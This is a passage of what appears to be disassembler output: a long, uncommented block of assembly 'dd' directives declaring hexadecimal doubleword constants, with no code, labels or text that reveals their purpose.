		dd 80B2D25h, 3D19E8DEh,	39262766h, 72B7B9D0h, 0F0632099h
		dd 0D09FDDF6h, 5278F41Ch
		dd 0D24F3159h, 4772D311h, 8254398h, 9131755Eh, 67A9F0E0h
		dd 60F608A0h, 6A631B31h, 0DD7ADD35h, 17E6463Ch,	85E38880h
		dd 5CA37A2Fh, 676D033Dh, 0BC044409h, 0D706B7FEh, 0BC1D12ABh
		dd 2F683C48h, 9006652h,	660B63E6h, 9D54D6F2h, 815CB9DCh
		dd 492517D4h, 0E535A509h, 27F426F1h, 0A1C290FCh, 7884FE9Ch
		dd 102F685Ah, 0C5809855h, 96E8BFDCh, 3004F0EBh,	0B8B559Bh
		dd 0A9D041B2h, 5CA88348h, 90B85DC1h, 0A3417B18h, 442B0A9Bh
		dd 13440235h, 50311F21h, 56C17876h, 0FA4579BEh,	7DF69D60h
		dd 32EF0DD6h, 0CEDD5CA9h, 0ECDDC535h, 0A0E5AC49h, 53F468D8h
		dd 6B48C265h, 71DF3016h, 733836Bh, 0D43717E2h, 6BB5C2ADh
		dd 25F45007h, 0B68ADA0h, 51AC53A7h, 594ABC40h, 0F5EC2672h
		dd 0BB47C00Ch, 105F0C33h, 48EE3Eh, 3C686761h, 0AC43E1E9h
		dd 0C493B5A2h, 0F5F05BF7h, 749DBF05h, 8F820908h, 88EB5652h
		dd 0D82F19DCh, 44514801h, 0A8429D16h, 47EA032Eh, 0B04B7C48h
		dd 267FD8E2h, 5376E27h,	1342836h, 7A72EAFDh, 1EF0CA35h
		dd 2D62C0C1h, 316022E8h, 0EC7F1255h, 41CBE917h,	141CA008h
		dd 6736DDA0h, 6368DBA8h, 0E4DA273Ah, 0F9805EC7h, 0BE6C64E9h
		dd 0E1AA9640h, 7BED3F90h, 90FEE9B0h, 0C42FDA99h, 58C126C3h
		dd 98AB4276h, 4F65D909h, 0B37AB2C5h, 404905FCh,	0C0FF70BDh
		dd 0EFC14F75h, 17545095h, 0AE991DA2h, 0DD025A32h, 71278245h
		dd 1D420CFAh, 890C5C1h,	0F65A6D25h, 0DE08A020h,	1920531Ch
		dd 2D53F292h, 6668C24Fh, 49D25E30h, 5E7A0860h, 580C8612h
		dd 912E4F05h, 0BE2932BEh, 7B408F98h, 0C960B4BEh, 0B84AC78Ch
		dd 475F093Ah, 28D704CFh, 0EE2908A1h, 4D7D2D60h,	81275E99h
		dd 4755F15h, 55BB28C0h,	93DC5849h, 2A0D417Eh, 3885C8FCh
		dd 508B312Dh, 88510061h, 65095DDh, 2C0B5B72h, 9D02865h
		dd 0F554420Ch, 876F53C8h, 692DFBB9h, 0A8F05E6Ah, 9AD92ECh
		dd 50050317h, 53EE2685h, 8F72F997h, 0EDEDD354h,	594CCD6h
		dd 0BD3BFB97h, 10F2F35Bh, 0BA02F8E4h, 64C35D43h, 32822AD4h
		dd 504491E2h, 81197DEFh, 3F857156h, 49670716h, 4C91AEB2h
		dd 8551B538h, 0A553F79Eh, 0E9D55F01h, 7DC293CEh, 474AD6F1h
		dd 1E9F1C20h, 0A4E915D2h, 0B8806952h, 4C945DD9h, 4199E918h
		dd 222C64Fh, 8972297Eh,	0C9612077h, 0C2FF038Ch,	0FDC7403Ch
		dd 59389D0Bh, 8A4BF580h, 48059F8h, 0E9C62CEEh, 5FF48359h
		dd 0E6E37100h, 0FA13582Fh, 0AAEE4FF0h, 0CDBAB920h, 9FCC7F68h
		dd 5E15DBE0h, 11CF209Fh, 0F6749F63h, 910BA06h, 43DF874Fh
		dd 84A0AC89h, 50CAFE5Bh, 0B7602DB6h, 5BC76859h,	4B379h
		dd 0C0D5F678h, 0CD8007EDh, 0C0BA8806h, 6C30E9F8h, 0FDF7E17Ah
		dd 0A4A5E7FFh, 0C7EEFB00h, 2B64C073h, 37A704DAh, 8139EB40h
		dd 20D75059h, 68165BF8h, 38F85A61h, 0A81374C5h,	601DC581h
		dd 3479EAB3h, 80120776h, 4A0EBB5Fh, 0A4409C28h,	0ACC5489Dh
		dd 852E2FC1h, 0E0274AD4h, 95A36873h, 15BCA251h,	133D0408h
		dd 5FEBBF57h, 22AA93CEh, 55EA560Fh, 15EEFE40h, 0C4759428h
		dd 2C7CF9F9h, 0EBC10F92h, 611C0405h, 0AEF4898h,	3E791795h
		dd 2F890E9Ah, 0FA0BC134h, 970095Fh, 1E5717B5h, 1DCD815Ch
		dd 8054831Eh, 2BBB1720h, 7C18050Ah, 2951052Ch, 0FD13E9E8h
		dd 1AB785AAh, 0F7B1EDA8h, 64A3FDD1h, 30ED29BEh,	3707F870h
		dd 515D7902h, 0F048ADC9h, 6B052480h, 31CB7040h,	21E51EB0h
		dd 2136823Bh, 0DE72C25Eh, 0C8A30ED5h, 0C4A951C9h, 5F7E0E5Ah
		dd 5FF0E625h, 0E7B1DA10h, 0F130C8B7h, 2DE27A30h, 0C6790C03h
		dd 16FE2025h, 4F526263h, 0D669E258h, 0F6CB00FAh, 6832741Dh
		dd 0ED13CA29h, 0B042519Eh, 0E0789744h, 9F4C927h, 41629248h
		dd 9417F25Ah, 0C05CC5Ch, 8EAC4DEAh, 47D9579Fh, 0F552565Eh
		dd 59B1B024h, 651222B0h, 1EFFC16h, 0FF719226h, 5BA42B39h
		dd 41614E29h, 0F813C248h, 0F3F03F4Eh, 273B17B9h, 187B975h
		dd 5D5688F2h, 9130315Ah, 407C41A3h, 0DA158B39h,	8D261861h
		dd 69DACA11h, 0B874A17Eh, 0ADE5B629h, 3768A101h, 6276631Ah
		dd 7D8774B6h, 5C200C66h, 90D9F6DBh, 15609D04h, 4717E44Eh
		dd 41BE2198h, 2D54CEDEh, 0F2382003h, 64657D12h,	0CB0F8BCh
		dd 19007E29h, 342DD8F7h, 1A37237Ah, 2946F1E9h, 0A705E60Fh
		dd 0DE2CAD5Ah, 0AAE3ADD3h, 0A5899D72h, 0C1543F5Eh, 163F687Ch
		dd 2558E07Bh, 1A472300h, 0FE8E2D30h, 89BA16DDh,	3E6C40C6h
		dd 0C1218A37h, 85E4CD8h, 1031356h, 4B24AD29h, 8463DAF1h
		dd 0BFE1F7C4h, 0B4932BB3h, 3840FD9Ch, 1A500BB8h, 747629CDh
		dd 9A34A402h, 3CC5D753h, 255E2788h, 2D01E9F4h, 0C7CEB333h
		dd 0EAAC2DB9h, 2BB03A2Eh, 9D02B15Bh, 5404400h, 85786927h
		dd 2CC36931h, 0AACE0F85h, 59F600D0h, 0F66BFC57h, 3B7D5D63h
		dd 0B4F3AD3Bh, 54F92D8Fh, 5751F0C8h, 16277620h,	0EC6D9241h
		dd 23B8186Dh, 9DCBE911h, 0FE886703h, 0D102A6BFh, 8207EF26h
		dd 0F9B5E03h, 0FEF8F1B8h, 38F4B63Ah, 61FB4A48h,	7360EE4Fh
		dd 0D6151687h, 96B58731h, 9C1BBDE8h, 807962AFh,	2BF57A6Ch
		dd 0BE1554Bh, 2DCA5E48h, 4D73C4D6h, 0E91A9D70h,	9C092B1Fh
		dd 8B1096FDh, 0FF58E21Dh, 5C02CE14h, 840FC90Bh,	6836C87Ch
		dd 0B06D56E4h, 0C507C640h, 0FF1FF81Dh, 0F99C7A33h, 0F978D59Dh
		dd 25B5389h, 1C6055C9h,	1ECB2F8Dh, 1D44557h, 0AA76BEB9h
		dd 0E9CFE020h, 0F6C4104Ah, 405DFA82h, 25E3A8FDh, 5D0FDA19h
		dd 6E82E62Dh, 0C0507D9Ch, 0D0055E9Bh, 0F2B57E36h, 66B02A23h
		dd 5CFB778Ch, 0A49860CFh, 0DF266858h, 5561C857h, 536517E9h
		dd 0EBCAA47Bh, 955D4Ch,	5985349h, 0B05AD321h, 2765B0EAh
		dd 44148333h, 0CFADF82h, 1E74F40Fh, 8DE092Ah, 0D7A5B11Ah
		dd 39C95E80h, 7ACD2978h, 0E8F54D7Bh, 4AD7B82Ah,	231BB29Bh
		dd 0CDE07D7Eh, 0F50027Ah, 659A3E92h, 7F00AA94h,	1E0D13A1h
		dd 6ECC2C5Bh, 8A55159Bh, 89A2DE35h, 4E56E290h, 526A8B5Ah
		dd 0F4590A2h, 15247F6h,	0A8562885h, 114CDE44h, 5AEE5B30h
		dd 0BD9EB85Dh, 1946EC2Ah, 0BB68DC45h, 0A7D61F2h, 9D5BD8F8h
		dd 18B8CC3h, 0C6E03B5Eh, 2410091Fh, 0C2804D03h,	0A35ED7B6h
		dd 5DEF8903h, 4F8E20E9h, 4A3CAF9Dh, 249F86EAh, 0C49D5A66h
		dd 0E977422Fh, 0AC068499h, 0BC8CF0ACh, 1EE748ECh, 5301D202h
		dd 0C11EA927h, 722F6855h, 0B785D33h, 706A7E4Dh,	0FB1FC3DEh
		dd 2173B2C4h, 0A10A8ECh, 2905026Dh, 0E17ADD09h,	737652h
		dd 5AF7A84Fh, 0C0EAA394h, 6D70737Eh, 14A9695Fh,	16580840h
		dd 8C59A5E9h, 2A56A327h, 54551E91h, 0C740EFD3h,	28432C5Bh
		dd 950474F0h, 546F155Eh, 41C61081h, 18FB802h, 0CB8016B2h
		dd 47254280h, 10E38D90h, 982892C3h, 7A6AB7A1h, 2E1C080Dh
		dd 658EAD3h, 111DC0Eh, 0BC0D263Dh, 37436E26h, 0E90882FAh
		dd 2B897573h, 800A14D5h, 2C5C3BDFh, 127B7730h, 0D788B859h
		dd 0E9A32CAEh, 21B5DCE0h, 0D9368C20h, 0BE2C6C60h, 6F1D2921h
		dd 0A86213C9h, 810E44F7h, 6E6D48DAh, 6713E70Eh,	0D7F74382h
		dd 0A470D660h, 0E9CA5504h, 0BB004B7Dh, 505D72EEh, 0C07E0BBFh
		dd 952EE971h, 2CB59E80h, 8D1DC380h, 7579EB28h, 97BEE5B7h
		dd 0E0A40450h, 144CA5Ch, 6802C183h, 0E27B4B2Eh,	0E94D99B0h
		dd 51B602B0h, 1A1ED868h, 0EBCC357Bh, 9F3516Eh, 61020CD5h
		dd 8D0DD084h, 29A62A62h
		dd 0A84BC758h, 5015F257h, 3E5E9DE6h, 978B7F54h,	20A7DDCFh
		dd 697E2D10h, 0E928090Ah, 407CED52h, 4608309Eh,	41B53ED2h
		dd 3CFEB0Bh, 0F768530Eh, 92825070h, 569F2370h, 0D25D7A28h
		dd 384927CEh, 0A5BDA173h, 819A5447h, 7D23F5EFh,	0C654707Ch
		dd 1E73213h, 1353F604h,	35D8F700h, 2C7A54A2h, 0A8A948B5h
		dd 1C189F43h, 5D825D20h, 4F836BC2h, 0B15B94A0h,	859DB546h
		dd 44809553h, 8FA41D7Ah, 70A2315Ah, 3E1E84D9h, 6DEBA717h
		dd 0A1827BA8h, 0BE19C971h, 0A407D73Fh, 563FE0C8h, 7A8B544Fh
		dd 7F69E909h, 0EA6831B0h, 981D7162h, 946D77DEh,	53725712h
		dd 58A77C5Fh, 0F3C91C35h, 9A8108DDh, 329F6884h,	7012DCE3h
		dd 1262B32Ah, 7CA801C5h, 0C1FB129Eh, 20C32888h,	0C0B75FB9h
		dd 26C08D1Ch, 0B7702EAh, 27CECA1h, 7E114E40h, 0B07AEF45h
		dd 54419FFFh, 91BA2543h, 0BBBF77F1h, 0F592B618h, 480D0FDh
		dd 0B60D6D1h, 4B50BA73h, 416BF3BDh, 2B600768h, 0ED48F1CFh
		dd 417C10h, 0E2D0CAFEh,	0E6E5F280h, 31F470C2h, 1DC25AD7h
		dd 5173DEBh, 7D3C46E0h,	521903BEh, 0CAE3735Bh, 768314A8h
		dd 9D72E4C1h, 443AF7E7h, 5D13D58Fh, 7A29F48Bh, 91C34E31h
		dd 60CB0150h, 0FB9FEE2Ch, 0FE3542A5h, 29446801h, 0BFC0E528h
		dd 1D706C74h, 7338195h,	0C826F77h, 11C46752h, 13C600D5h
		dd 0E12D3DA4h, 0B841A8D4h, 0E019541Ch, 51660EF0h, 0E8CCCEB5h
		dd 0EEB75A7Ah, 30FA418Fh, 11121214h, 860B1FEAh,	5F55E225h
		dd 0E9E1DCF9h, 0BA50409Ah, 9506A668h, 0E962D3D9h, 0BE14E836h
		dd 22A105E4h, 84F731F8h, 10CBEBD8h, 301B6809h, 0B5BE4F18h
		dd 59434E13h, 1C4859ECh, 79630F00h, 9CF68165h, 0F85C2F2Fh
		dd 0BB5B9EB1h, 8B0D212Eh, 18F7C831h, 4A7568F5h,	0B4E42471h
		dd 5D8A6307h, 0E90507C7h, 86ADF53Ch, 30DEB2C1h,	0D3D722FAh
		dd 0C92ADFE1h, 5F0722AAh, 109AAB81h, 5501227Eh,	1BE096B0h
		dd 6BB0CC95h, 0E90BF689h, 3A25AD64h, 0C7B776F4h, 2907883Bh
		dd 0F28F5EF2h, 40BBCF40h, 5A1E1B49h, 66CCE0BEh,	0AFDE312Ch
		dd 4298752Dh, 2EACD81h,	6387024h, 775DA104h, 2756C981h
		dd 3C2B6800h, 30CC0BC9h, 0FF74E9C1h, 385175C2h,	55F55047h
		dd 0E3A47794h, 0EC5B5E30h, 7DD6E20Bh, 615219F9h, 0E22BD7AEh
		dd 0C66809E4h, 0C971B06Ah, 9262403h, 1D8F103Fh,	5FD8D187h
		dd 1385254Fh, 0C016B949h, 47536A84h, 0D0357200h, 89C54511h
		dd 0D15825C1h, 30FED807h, 0C809F286h, 5345969h,	0C366ED9Bh
		dd 4A86F8BBh, 0E71FFC47h, 8FB402E4h, 6A7D09EBh,	95FE1521h
		dd 51C87C2h, 6BAD46D3h,	0F3B066CEh, 0E1C6BE5Ah,	109726CDh
		dd 7B68C195h, 54375264h, 92D749A8h, 1D9F0F50h, 4E6C71E2h
		dd 0F60740F5h, 327E038Fh, 3EEC12Ch, 92A9121Fh, 82AA17D3h
		dd 9CADA43h, 0C0BF3D5h,	0E975B468h, 9CB1DE4Ah, 0DC622C3Ah
		dd 28B20D4Fh, 5CE58660h, 79B816C7h, 6A122B0Ah, 33004832h
		dd 53396557h, 5CB27CBBh, 1F24B667h, 85B93C2h, 0E4248C4Fh
		dd 77EDA30Bh, 53BFFFB6h, 0E713083Eh, 7FB9BB01h,	0EE952AAh
		dd 0BB4EA338h, 0F4A82375h, 2DF518Dh, 8DC302D3h,	4B7076D2h
		dd 4C0EBE06h, 0ECE5506h, 293A6DE8h, 14F9E6C0h, 18C0041Dh
		dd 6E7C1628h, 0D1D618F7h, 0EC77EAEEh, 5846C12Fh, 4D5A7Ah
		dd 6FBFBDA8h, 0F1982737h, 59247900h, 4EBA2D23h,	0F44064EBh
		dd 0C1C540CEh, 5B0E1A08h, 0BCACC845h, 83410F13h, 0BFE294BEh
		dd 0D05EC0CBh, 161A9E18h, 956E1861h, 24CBBD41h,	0A5ABBE66h
		dd 6841D4FEh, 497B5DEFh, 234DEA9Fh, 2F8F45ADh, 0CA41E051h
		dd 2270087Ah, 0DCE69F2h, 2439C7D7h, 4017177Ch, 0EC6856D6h
		dd 514C3F12h, 98EE028Fh, 8A0862C9h, 440D59A5h, 497B9CF2h
		dd 53845D0Ah, 3913581h,	0C96A1A66h, 357AE144h, 3B9E7B4Eh
		dd 5384EE53h, 0AEF70D1Bh, 0DBE3017Bh, 2E767A02h, 8F4F4FF1h
		dd 41B72F7Ch, 0C1907DFBh, 84085289h, 2DDA9637h,	0DB308139h
		dd 1699868h, 4F090F30h,	3135DC48h, 9E2077B2h, 3A2C7C59h
		dd 5528D0F6h, 0EF9EB0F3h, 148509CEh, 0DE77B8D8h, 0BDC7555Eh
		dd 1F53018h, 0AB0528C4h, 0BDC83795h, 92C0BD53h,	0C84E305Ch
		dd 46D2A527h, 93235E05h, 0F0CA578Ch, 3C136E30h,	0B0203B7h
		dd 407241B3h, 54E9DE92h, 2468E216h, 883B692Eh, 8912D732h
		dd 9B712BB1h, 9E04892Dh, 802AF306h, 8E2FF779h, 9BD58B7h
		dd 470C1908h, 0FF010BD7h, 33919230h, 0E9149627h, 4EC0EA8Bh
		dd 0EA590D5h, 430CE4C2h, 25D5E9CBh, 0C2FB29E6h,	0A92FD197h
		dd 0BFA858CAh, 532DDC65h, 0CB84897Eh, 64D51E5Dh, 0FE591D76h
		dd 33C498E7h, 4728BAFEh, 0A3395F3Dh, 0CD3215D3h, 3BC64137h
		dd 0D48EC2Ah, 30ABAD93h, 3D256B78h, 6AB015Ah, 0A44EB005h
		dd 179E3061h, 2967F4Ah,	701F58E0h, 14516A81h, 2CE4952h
		dd 426E5808h, 50D7A288h, 0A2E53BC0h, 9579556Ah,	0BF5707E0h
		dd 9248693Bh, 34EF4714h, 5FE00AEEh, 4AA702F0h, 60DF72D5h
		dd 3F04E8ADh, 0FCCBD82Dh, 2E0045Ah, 0C9FC6DE9h,	4F7F5F3Bh
		dd 6FFE3107h, 84811511h, 0B820B2Ch, 7683455h, 0FA386677h
		dd 698E3AB8h, 0C7E0D11Dh, 0BC20082Dh, 68150668h, 7C2E7E67h
		dd 2B7ABB16h, 0F675D81Ah, 68517059h, 0E9590984h, 0EE662B64h
		dd 0C563122Dh, 0FF9B8B21h, 5379BAC4h, 0C8461E25h, 2D69B1ACh
		dd 0F78370C6h, 6D4058E8h, 0F78844B8h, 0C0251207h, 2CE4A11Dh
		dd 42688224h, 0FD987510h, 1D24061Ah, 0E702D669h, 7C41AA74h
		dd 22002F8Dh, 8036B951h, 0E93CEA0Fh, 0AC91672h,	575F8810h
		dd 2E68E658h, 0C2DA16F8h, 0FA560F09h, 0B5040C6Ch, 3459FA44h
		dd 654C7AD3h, 0C8A292E1h, 0C7184A94h, 69F5DD6Dh, 0A0904430h
		dd 0C14D06E5h, 0D1CCD62Ch, 9AC02B72h, 2535A205h, 0A9FD476Bh
		dd 0B7E6771Eh, 0CF0E61BFh, 39EB803h, 0C189511Ch, 585993FFh
		dd 71E4A8E5h, 29472D4Ch, 224FB10Ah, 824C40Ah, 1615CB58h
		dd 2CBF478Fh, 5997507Fh, 0A96A6417h, 41540C32h,	0C0C63860h
		dd 7BF1E686h, 6922DEEh,	57DA1041h, 0F2A55865h, 74CE27FBh
		dd 41FB20DAh, 7A38F732h, 8910DEF3h, 8F803E3Ah, 4AF83036h
		dd 5A859837h, 0BE04C629h, 0E1405D8Bh, 57E417D8h, 45E85B0h
		dd 59C8ECD1h, 0D479C435h, 0D3A90696h, 0C3970F73h, 0D52C1A1h
		dd 0F911CA89h, 7E081ADFh, 36CE5451h, 11E3721Dh,	4C77D510h
		dd 81611143h, 72266809h, 0DA3089E6h, 50F5ED86h,	59EE3B30h
		dd 881FF60Fh, 0EDC05A21h, 291C3006h, 3ABDB680h,	79015253h
		dd 0EB8027B3h, 34C3CC45h, 10DDF3E0h, 0A07EF760h, 6C73FD8h
		dd 366C0CBh, 285E2D20h,	0AD49B770h, 0CF4F2436h,	63C4B701h
		dd 0B13089B1h, 314540E1h, 0A4ACCF5Ah, 63840058h, 1204AB40h
		dd 0C2165623h, 5255D9CCh, 15489568h, 0EDBA6BBCh, 0F24670BFh
		dd 0DD790BB3h, 0C05D090Fh, 275E774Eh, 0C7FE3BC3h, 340C2F8Ch
		dd 324909BEh, 370013B3h, 33921520h, 0C82C4BB7h,	0E5F874A9h
		dd 0ECE4B42Bh, 43BB0604h, 4CEB88E9h, 7886EA2Fh,	6BCAAB6h
		dd 2509C4CEh, 73390B7Ah, 0E7F4FC3h, 5A08B40Eh, 0E99338EBh
		dd 32BD4E77h, 0AA7F813h, 77A932D7h, 0D08D0090h,	112DB3DEh
		dd 46F22202h, 8405C829h, 0A2FE5907h, 23B7843Fh,	4A642CC8h
		dd 209789EDh, 2582A82h,	25F07E1Eh, 0FD5C4BB2h, 0F9FC2F09h
		dd 61F8A95Fh, 6A7EF068h, 0BF55B18Ch, 0FF7ECECAh, 6853F800h
		dd 124032EAh, 1A295B28h
		dd 2F5F140Fh, 0A8C55230h, 0C6EB5B81h, 256DFBEFh, 9507A9AAh
		dd 6FEB680h, 0EE28CB1Eh, 0DD837539h, 4B6BE4F4h,	2F59D39h
		dd 0F758598Dh, 8F82E924h, 42C2018Eh, 61585A32h,	0E1FE67A9h
		dd 83D37793h, 317EB86Ah, 5F682DD2h, 4DE90D01h, 0DE533822h
		dd 0A5890B48h, 31C34E00h, 4F6FC054h, 9E76270Ch,	4211DEE9h
		dd 776AEAE9h, 614C4382h, 1D685E00h, 6E9A9746h, 0F1539855h
		dd 62942F5Fh, 0F97537Ch, 0EC49C3A0h, 6E644187h,	92DD11ADh
		dd 5A5EF602h, 0A2A1B9F8h, 0A1BF00C6h, 8702411h,	57D102D3h
		dd 0D4606A83h, 0E94F0F5Dh, 0B6C27380h, 17BB4891h, 0B30DB10Ch
		dd 1B409882h, 0C7CE48FEh, 0C30292Fh, 0B4B76C05h, 9C1BB768h
		dd 460F1804h, 0E0C069A0h, 121A223Fh, 0AF08E94Dh, 162A5C10h
		dd 68FB3313h, 0D89656AAh, 4B0E7569h, 0BA0C40B6h, 397B6166h
		dd 69CA810Eh, 0BF5702h,	629229Ch, 0D4C9521Bh, 660BD40Ah
		dd 0B0285BFAh, 4E5BDCA1h, 39C99140h, 0ED7D5610h, 760879F4h
		dd 0C821275Fh, 0F81578FBh, 8D5B26F6h, 0CAC2273Ch, 0B0A1F56Bh
		dd 7048E058h, 8341FB98h, 13D8B73Fh, 83EF01EFh, 0B3E31648h
		dd 0D22CF881h, 2A192741h, 2A33C6A1h, 0A41782D0h, 0F9CC97F9h
		dd 5AC7ECF5h, 0C2916FAh, 8828C5EFh, 5B66DC07h, 31B2E286h
		dd 0DDA8494Bh, 0A875B9DCh, 2C280F89h, 0E1958C5h, 37CE8026h
		dd 0EDAEF50Eh, 555BE9A3h, 53CFC103h, 3305E7C0h,	75C80806h
		dd 6003EFC9h, 0C3D07263h, 2A205A5h, 75810D29h, 0C10737BFh
		dd 714334EDh, 2C26EDD5h, 8FDE4BD0h, 4BE8215Eh, 0F7397E10h
		dd 109463FBh, 6F92C588h, 9DAC15Dh, 0BAD2D938h, 8EAF2AC5h
		dd 0C4FD108Ch, 0A141487Ah, 3A389061h, 14E2CA08h, 76672579h
		dd 6240FB1Bh, 0A1C2D031h, 0EEEC3AD8h, 7998E6F0h, 0D6F6F913h
		dd 28C860Bh, 0DC77E9E3h, 0DD073E9Ah, 0A317B252h, 9402E483h
		dd 2B20FABDh, 50B6073h,	8CD427DFh, 0DE954258h, 63844919h
		dd 0D2E0B877h, 0D2502FE8h, 7A032FCEh, 0F2772B8Fh, 0D03E046Ah
		dd 368068E3h, 2252D2Eh,	0E9D3291Ah, 84D45605h, 812319F0h
		dd 26AD2B5Eh, 0B2F2FFB4h, 0B257A892h, 0B9B5FF6h, 6BDC7FC2h
		dd 228DB901h, 0CE48036Eh, 511D09E1h, 66801B3Dh,	10361A53h
		dd 0FB2DF1B0h, 0EE7F0323h, 2817E964h, 890C813Fh, 0B4F22CAh
		dd 0F8B070C2h, 0D490045h, 0F9311D9Dh, 6AFFD15Fh, 0E6517FB0h
		dd 897C1E3Eh, 4B2A89DEh, 0E562DE54h, 0CD1057C3h, 2034478Fh
		dd 0E5810681h, 0AD6A2742h, 2DE5ECDh, 0C88D2D4Ch, 1EE900A1h
		dd 34008025h, 0F5647435h, 0BB10D7Fh, 534DF74Ch,	0D30A48Bh
		dd 0C12BEBDh, 100160C0h, 38666DEDh, 0F3F9E69Bh,	611A3FD0h
		dd 4955D32Ch, 5249EA25h, 5B5D270Dh, 0F63B2BF1h,	66708E27h
		dd 127D2B8Eh, 24E7A15Eh, 296885E4h, 0BB59D83Fh,	9058240h
		dd 64081385h, 0E868C785h, 0C689A110h, 5BC5D678h, 0FE64AE21h
		dd 7433D9FBh, 73402F8Fh, 6584854h, 0DF3C0104h, 950AC561h
		dd 18CAFF26h, 0EEC30616h, 2E7D14CDh, 8ACA3FB2h,	206FCC75h
		dd 0DB9ACF4Dh, 0FCA3CE1Eh, 6E129ACAh, 304986C9h, 0EFBB09A9h
		dd 0B900D115h, 523D4CBh, 39A2F5Ch, 6BFD5A9Ch, 0E00E0143h
		dd 219F196Dh, 0D45424D8h, 17F4E7Dh, 0C25EF05h, 16ABF6FBh
		dd 9F16FB7Bh, 0D753C04Bh, 0E916A19Ch, 34E76149h, 9ED86270h
		dd 47DFF9E2h, 45B261Dh,	1DCF28B1h, 420D766Dh, 51011F20h
		dd 0C2FC01B5h, 40A8F60Bh, 681D661Ah, 0A727123Ch, 12A8F5ABh
		dd 0C774EA5Bh, 67DB3FFh, 68C4E9F8h, 3FF709ADh, 37588A61h
		dd 4059A90Ah, 21028251h, 0D629C899h, 0B705018Ch, 0E414CD53h
		dd 7A02DD0h, 0D724685Ah, 0B5C34B34h, 0F1DD034Bh, 0CB88532Eh
		dd 6FE760D9h, 0EE4C20F6h, 0A329DB81h, 0B2907F6Ch, 11261957h
		dd 904C017Ch, 1C28680Ch, 24EC5944h, 2164127Ch, 51A6C053h
		dd 3E5CDA43h, 61EA067Dh, 0C0C7141h, 2FF95054h, 0DA0A0B24h
		dd 0F4010F35h, 97DC2D14h, 0E982FCACh, 945181B6h, 6CF03507h
		dd 5BA0E0B4h, 0E2584808h, 34B33F8Eh, 1784095Ah,	0C1EAB8B0h
		dd 4664FC9Fh, 40BD1173h, 12360786h, 45B46C3h, 0A2843E19h
		dd 585E1F78h, 3BB22D01h, 0EE416706h, 9301832h, 747F9F0h
		dd 5E0011CAh, 0FCE9C331h, 324AA08h, 0F46B43D6h,	92D06D8h
		dd 0BCA4FE95h, 514B7520h, 7C1653B9h, 70E0261h, 40E02768h
		dd 2FE7F160h, 0B0594FA4h, 0EB26C1ACh, 87020D08h, 85307F2Ah
		dd 0BFA4288Eh, 414441DEh, 70314658h, 5C811FA4h,	25F1246Eh
		dd 165CB8BCh, 72B8D901h, 1ECABFB4h, 0CD665C16h,	0B1C53076h
		dd 54EA0800h, 39F0CA81h, 0CC70B523h, 0EB25F576h, 5DBA8B56h
		dd 6BF3FC4Ch, 2FFAD692h, 0A54CD045h, 7D3DE4AFh,	0FD58733Bh
		dd 28356702h, 0C2F92964h, 0A7080F3Dh, 550906E1h, 7225CAE4h
		dd 0C42ADCC8h, 734C0434h, 404D9B98h, 0EB582925h, 0E4022F57h
		dd 0BE5C5B78h, 44EA1334h, 14656F8Dh, 3154000Eh,	20054CC7h
		dd 0A6C3A5Eh, 4153E5DFh, 75A1E913h, 25F06BC2h, 32C7A135h
		dd 2F7FCE2Ch, 0EF597811h, 0C8BE0F41h, 163A9CFDh, 0D35AE8ECh
		dd 0D7596909h, 7E892D14h, 0A9886B76h, 61F1375h,	6AE80126h
		dd 8229C623h, 715EAA0Ch, 42A3C00Bh, 0BAB9E2E2h,	0C2F2E6BEh
		dd 8DE95EF3h, 2168ACE8h, 0A7310A4Eh, 0C606F017h, 55DA0D55h
		dd 11D8FE4Fh, 0F6F95AA5h, 0C4BE167Ah, 0E11E32BBh, 0BA026674h
		dd 8FB24A3Ch, 5A2C399Dh, 0EA3FC26Bh, 0BA00B363h, 0B22CD6F5h
		dd 2DEF016Fh, 295F98E9h, 0BB675797h, 338FE984h,	0EC9190ACh
		dd 0C17A050h, 314CF214h, 0ECBF5E9Fh, 17B2303Eh,	8A92329Dh
		dd 0D531AB13h, 0BE4D75EBh, 7547E2D2h, 67009ED2h, 0F7241B37h
		dd 0E8E955DFh, 9687B443h, 7E02B3E3h, 18638027h,	33361B4h
		dd 0C354B53h, 0C1B8526Bh, 0F3F003E8h, 39931F01h, 0E360F92Dh
		dd 3FFF05FCh, 0C45A502Bh, 16CFBFC5h, 0C5E0AC4Fh, 0D8EBF37Bh
		dd 0E9D10A4Ch, 75C4D7DFh, 802FBC1Ch, 0E54C893Ah, 86C74F09h
		dd 0C59702BEh, 92E905DCh, 5B0CB364h, 5F5D43D2h,	0EB7F9C40h
		dd 7B85080h, 2E9E25DDh,	0D0C3C540h, 4D9ABD35h, 5AE50E4Eh
		dd 0FEFC06AFh, 85C2D42Dh, 0EC162FC5h, 16993800h, 3B0A691h
		dd 5BD672F7h, 5B64ACDEh, 12B2EDA0h, 0FF37DB02h,	0CB746544h
		dd 0F28ABE12h, 0E93F2CD6h, 5CEB9D27h, 644452DEh, 0FB209CB6h
		dd 0A4B8F35Bh, 0E80745F9h, 0C1284A32h, 5057145Ch, 6A00D256h
		dd 0BE61D465h, 7D03AAC6h, 0E7EE81CEh, 13DF82Eh,	84F6F1D6h
		dd 0D0EA5A08h, 71DFCE50h, 301E6430h, 266C79DEh,	1656893Fh
		dd 0E0FFE429h, 0E285BD60h, 0E53E356Bh, 14A49820h, 0B0225B7Ah
		dd 15914C60h, 0E9170175h, 6DBD3797h, 53A0814Bh,	0A4DC3A56h
		dd 0F2AB9659h, 587E4CFFh, 0EB8B0613h, 5D92AA7Ch, 0E9A047B8h
		dd 0A2950285h, 752B7192h, 88470A24h, 46E2C95Eh,	0C15A61E0h
		dd 0BDE11E01h, 0D06C200Dh, 0AED81D04h, 1112BBD4h, 0C50787BCh
		dd 25712DA0h, 0E9D3425Ah, 82D255A2h, 0EEB1BB5Fh, 0A1D9E7E7h
		dd 358F686Bh, 5B8FB47Ch, 0F35E56DDh, 1E3A12D2h,	0A14865E2h
		dd 3EF23119h, 783FF59h,	2A0AB57Ch, 0B15D846Eh, 0CE12C724h
		dd 0E99578FEh, 0A209D95Bh, 44515E01h, 1A891F54h, 0C03177BDh
		dd 0B7738E3h, 0FCC8F280h, 69B68FFEh, 71426C4h, 0B3123D05h
		dd 0BB5D5846h, 64E98475h, 4B38CA5Ah, 22D62AEh, 2E4DCBC1h
		dd 0AA108B8Ah, 995E2CBCh, 271B0501h, 0C2F509E6h, 57276A28h
		dd 0D3DB34FDh, 0A0241371h
		dd 0C017BDDBh, 0E9057A03h, 9DFADDC1h, 0D9F8EC40h, 1C18DBBDh
		dd 2EB3A525h, 9558C4D1h, 5BBC65A3h, 0BA9E1EFCh,	0EE5BFC35h
